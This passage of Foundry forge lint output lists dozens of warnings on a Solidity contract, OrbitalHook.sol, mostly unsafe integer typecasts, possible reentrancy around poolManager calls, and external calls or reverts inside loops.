│       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:305:40\n    │\n305 │             ? toBeforeSwapDelta(int128(uint128(rawIn)), -int128(uint128(rawOut)))\n    │                                        ━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:305:58\n    │\n305 │             ? toBeforeSwapDelta(int128(uint128(rawIn)), -int128(uint128(rawOut)))\n    │                                                          ━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:305:65\n    │\n305 │             ? toBeforeSwapDelta(int128(uint128(rawIn)), -int128(uint128(rawOut)))\n    │                                                                 ━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:306:34\n    │\n306 │             : toBeforeSwapDelta(-int128(uint128(rawOut)), int128(uint128(rawIn)));\n    │                                  ━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:306:41\n    │\n306 │             : toBeforeSwapDelta(-int128(uint128(rawOut)), int128(uint128(rawIn)));\n    │                                         ━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:306:59\n    │\n306 │             : toBeforeSwapDelta(-int128(uint128(rawOut)), int128(uint128(rawIn)));\n    │                                                           ━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:306:66\n    │\n306 │             : toBeforeSwapDelta(-int128(uint128(rawOut)), int128(uint128(rawIn)));\n    │                                                                  ━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[divide-before-multiply]: division before multiplication may lose precision\n    ╭▸ src/OrbitalHook.sol:339:30\n    │\n339 │             x[j] += wadOut - rawOut * _scale[j]; // rounding dust stays in the pool\n    │                              ━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/divide-before-multiply\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:349:21\n    │\n349 │         if (rawIn > uint256(uint128(type(int128).max)) || rawOut > uint256(uint128(type(int128).max))) {\n    │                     ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:349:29\n    │\n349 │         if (rawIn > uint256(uint128(type(int128).max)) || rawOut > uint256(uint128(type(int128).max))) {\n    │                             ━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:349:68\n    │\n349 │         if (rawIn > uint256(uint128(type(int128).max)) || rawOut > uint256(uint128(type(int128).max))) {\n    │                                                                    ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:349:76\n    │\n349 │         if (rawIn > uint256(uint128(type(int128).max)) || rawOut > uint256(uint128(type(int128).max))) {\n    │                                                                            ━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[reentrancy-no-eth]: external call can be reentered before `totalRadius` is updated\n    ╭▸ src/OrbitalHook.sol:483:13\n    │\n483 │             poolManager.unlock(abi.encode(CallbackData({action: Action.Withdraw, account: lp, amounts: amounts})));\n    │             ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-no-eth\n\nwarning[reentrancy-no-eth]: external call can be reentered before `_entered` is updated\n    ╭▸ src/OrbitalHook.sol:390:9\n    │\n390 │         poolManager.unlock(abi.encode(CallbackData({action: Action.Deposit, account: msg.sender, amounts: amounts})));\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-no-eth\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/OrbitalHook.sol:391:9\n    │\n391 │         emit Deposit(msg.sender, levelId, radius, amounts);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[require-revert-in-loop]: `require` or `revert` inside a loop\n    ╭▸ src/OrbitalHook.sol:377:45\n    │\n377 │             if (amounts[k] > maxAmounts[k]) revert SlippageExceeded();\n    │                                             ━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/require-revert-in-loop\n\nwarning[unused-return]: return value of an external call is not used\n    ╭▸ src/OrbitalHook.sol:390:9\n    │\n390 │         poolManager.unlock(abi.encode(CallbackData({action: Action.Deposit, account: msg.sender, amounts: amounts})));\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/unused-return\n\nwarning[reentrancy-no-eth]: external call can be reentered before `positions` is updated\n    ╭▸ src/OrbitalHook.sol:483:13\n    │\n483 │             poolManager.unlock(abi.encode(CallbackData({action: Action.Withdraw, account: lp, amounts: amounts})));\n    │             ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-no-eth\n\nwarning[reentrancy-no-eth]: external call can be reentered before `_entered` is updated\n    ╭▸ src/OrbitalHook.sol:450:9\n    │\n450 │         poolManager.unlock(abi.encode(CallbackData({action: Action.Withdraw, account: msg.sender, amounts: amounts})));\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-no-eth\n\nwarning[calls-loop]: external call inside a loop\n    ╭▸ src/OrbitalHook.sol:536:16\n    │\n536 │         return poolManager.balanceOf(address(this), uint256(uint160(_tokens[k])));\n    │                ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/calls-loop\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/OrbitalHook.sol:451:9\n    │\n451 │         emit Withdraw(msg.sender, levelId, radius, amounts);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[require-revert-in-loop]: `require` or `revert` inside a loop\n    ╭▸ src/OrbitalHook.sol:434:38\n    │\n434 │             if (raw < minAmounts[k]) revert SlippageExceeded();\n    │                                      ━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/require-revert-in-loop\n\nwarning[unused-return]: return value of an external call is not used\n    ╭▸ src/OrbitalHook.sol:450:9\n    │\n450 │         poolManager.unlock(abi.encode(CallbackData({action: Action.Withdraw, account: msg.sender, amounts: amounts})));\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/unused-return\n\nwarning[reentrancy-no-eth]: external call can be reentered before `_entered` is updated\n    ╭▸ src/OrbitalHook.sol:462:9\n    │\n462 │         poolManager.transferFrom(msg.sender, address(this), uint256(uint160(token)), amount);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-no-eth\n\nwarning[reentrancy-no-eth]: external call can be reentered before `_entered` is updated\n    ╭▸ src/OrbitalHook.sol:465:9\n    │\n465 │         poolManager.unlock(abi.encode(CallbackData({action: Action.Redeem, account: to, amounts: amounts})));\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-no-eth\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/OrbitalHook.sol:466:9\n    │\n466 │         emit ClaimsRedeemed(msg.sender, token, amount, to);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[unused-return]: return value of an external call is not used\n    ╭▸ src/OrbitalHook.sol:462:9\n    │\n462 │         poolManager.transferFrom(msg.sender, address(this), uint256(uint160(token)), amount);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/unused-return\n\nwarning[unused-return]: return value of an external call is not used\n    ╭▸ src/OrbitalHook.sol:465:9\n    │\n465 │         poolManager.unlock(abi.encode(CallbackData({action: Action.Redeem, account: to, amounts: amounts})));\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/unused-return\n\nwarning[reentrancy-no-eth]: external call can be reentered before `_entered` is updated\n    ╭▸ src/OrbitalHook.sol:483:13\n    │\n483 │             poolManager.unlock(abi.encode(CallbackData({action: Action.Withdraw, account: lp, amounts: amounts})));\n    │             ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-no-eth\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/OrbitalHook.sol:484:13\n    │\n484 │             emit FeesCollected(lp, levelId, amounts);\n    │             ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[unused-return]: return value of an external call is not used\n    ╭▸ src/OrbitalHook.sol:483:13\n    │\n483 │             poolManager.unlock(abi.encode(CallbackData({action: Action.Withdraw, account: lp, amounts: amounts})));\n    │             ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/unused-return\n\nwarning[calls-loop]: external call inside a loop\n    ╭▸ src/OrbitalHook.sol:513:17\n    │\n513 │                 poolManager.sync(c);\n    │                 ━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/calls-loop\n\nwarning[calls-loop]: external call inside a loop\n     ╭▸ src/OrbitalHook.sol:1043:39\n     │\n1043 │         (bool ok, bytes memory ret) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, amount)); // transferFrom\n     │                                       ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n     │\n     ╰ help: https://getfoundry.sh/forge/linting/calls-loop\n\nwarning[calls-loop]: external call inside a loop\n    ╭▸ src/OrbitalHook.sol:515:17\n    │\n515 │                 poolManager.settle();\n    │                 ━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/calls-loop\n\nwarning[calls-loop]: external call inside a loop\n    ╭▸ src/OrbitalHook.sol:516:17\n    │\n516 │                 poolManager.mint(address(this), c.toId(), amount);\n    │                 ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/calls-loop\n\nwarning[calls-loop]: external call inside a loop\n    ╭▸ src/OrbitalHook.sol:522:21\n    │\n522 │                 try poolManager.take(c, data.account, amount) {\n    │                     ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/calls-loop\n\nwarning[calls-loop]: external call inside a loop\n    ╭▸ src/OrbitalHook.sol:523:21\n    │\n523 │                     poolManager.burn(address(this), c.toId(), amount);\n    │                     ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/calls-loop\n\nwarning[calls-loop]: external call inside a loop\n    ╭▸ src/OrbitalHook.sol:526:21\n    │\n526 │                     poolManager.transfer(data.account, c.toId(), amount);\n    │                     ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/calls-loop\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/OrbitalHook.sol:527:21\n    │\n527 │                     emit ClaimsDelivered(data.account, _tokens[k], amount);\n    │                     ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[require-revert-in-loop]: `require` or `revert` inside a loop\n     ╭▸ src/OrbitalHook.sol:1044:93\n     │\n1044 │         if (!ok || (ret.length != 0 && !abi.decode(ret, (bool))) || token.code.length == 0) revert TransferFailed();\n     │                                                                                             ━━━━━━━━━━━━━━━━━━━━━━━━\n     │\n     ╰ help: https://getfoundry.sh/forge/linting/require-revert-in-loop\n\nwarning[require-revert-in-loop]: `require` or `revert` inside a loop\n    ╭▸ src/OrbitalHook.sol:525:55\n    │\n525 │                     if (data.action == Action.Redeem) revert TransferFailed();\n    │                                                       ━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/require-revert-in-loop\n\nwarning[unused-return]: return value of an external call is not used\n    ╭▸ src/OrbitalHook.sol:515:17\n    │\n515 │                 poolManager.settle();\n    │                 ━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/unused-return\n\nwarning[unused-return]: return value of an external call is not used\n    ╭▸ src/OrbitalHook.sol:526:21\n    │\n526 │                     poolManager.transfer(data.account, c.toId(), amount);\n    │                     ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/unused-return\n\nwarning[missing-zero-check]: address parameter is used in a state write or value transfer without a zero-address check\n    ╭▸ src/OrbitalHook.sol:563:26\n    │\n563 │     function setGuardian(address _guardian) external onlyOwner {\n    │                          ━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/missing-zero-check\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:684:17\n    │\n684 │         return (uint8(a - 1), uint8(b - 1));\n    │                 ━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint8' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:684:31\n    │\n684 │         return (uint8(a - 1), uint8(b - 1));\n    │                               ━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint8' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:731:24\n    │\n731 │         return found ? int256(lv[top].kNorm) : type(int256).max;\n    │                        ━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:768:60\n    │\n768 │             boundary = _position(lv, boundaryMask, s, c) > int256(lv[l].kNorm);\n    │                                                            ━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:801:24\n    │\n801 │         int256 along = int256(kNorm * radius / sqrtN); // k·r/√N per coin\n    │                        ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:802:21\n    │\n802 │         int256 sr = int256(sNorm * radius / WAD);\n    │                     ━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:805:43\n    │\n805 │             if (w != 0) val += _floorDiv((int256(_x[k]) - int256(s / n)) * sr, int256(w));\n    │                                           ━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:805:59\n    │\n805 │             if (w != 0) val += _floorDiv((int256(_x[k]) - int256(s / n)) * sr, int256(w));\n    │                                                           ━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:805:80\n    │\n805 │             if (w != 0) val += _floorDiv((int256(_x[k]) - int256(s / n)) * sr, int256(w));\n    │                                                                                ━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:806:30\n    │\n806 │             v[k] = val > 0 ? uint256(val) : 0;\n    │                              ━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[uninitialized-local]: local variable is read before being initialized\n    ╭▸ src/OrbitalHook.sol:827:17\n    │\n827 │                 uu += uint256(u[k] * u[k]);\n    │                 ━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/uninitialized-local\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:822:29\n    │\n822 │             int256 xBound = int256(c.kb * WAD / sqrtN);\n    │                             ━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:823:46\n    │\n823 │             if (w != 0) xBound += _floorDiv((int256(_x[k]) - int256(s / n)) * int256(c.sb), int256(w));\n    │                                              ━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:823:62\n    │\n823 │             if (w != 0) xBound += _floorDiv((int256(_x[k]) - int256(s / n)) * int256(c.sb), int256(w));\n    │                                                              ━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:823:79\n    │\n823 │             if (w != 0) xBound += _floorDiv((int256(_x[k]) - int256(s / n)) * int256(c.sb), int256(w));\n    │                                                                               ━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:823:93\n    │\n823 │             if (w != 0) xBound += _floorDiv((int256(_x[k]) - int256(s / n)) * int256(c.sb), int256(w));\n    │                                                                                             ━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:824:20\n    │\n824 │             u[k] = int256(_x[k]) - xBound;\n    │                    ━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:826:25\n    │\n826 │                 u[k] -= int256(c.r);\n    │                         ━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:827:23\n    │\n827 │                 uu += uint256(u[k] * u[k]);\n    │                       ━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:833:35\n    │\n833 │                 v[k] = u[k] > 0 ? uint256(u[k]) * radius / c.r : 0;\n    │                                   ━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:840:26\n    │\n840 │             int256 val = int256(radius) + _floorDiv(u[k] * int256(radius), int256(uNorm));\n    │                          ━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:840:60\n    │\n840 │             int256 val = int256(radius) + _floorDiv(u[k] * int256(radius), int256(uNorm));\n    │                                                            ━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       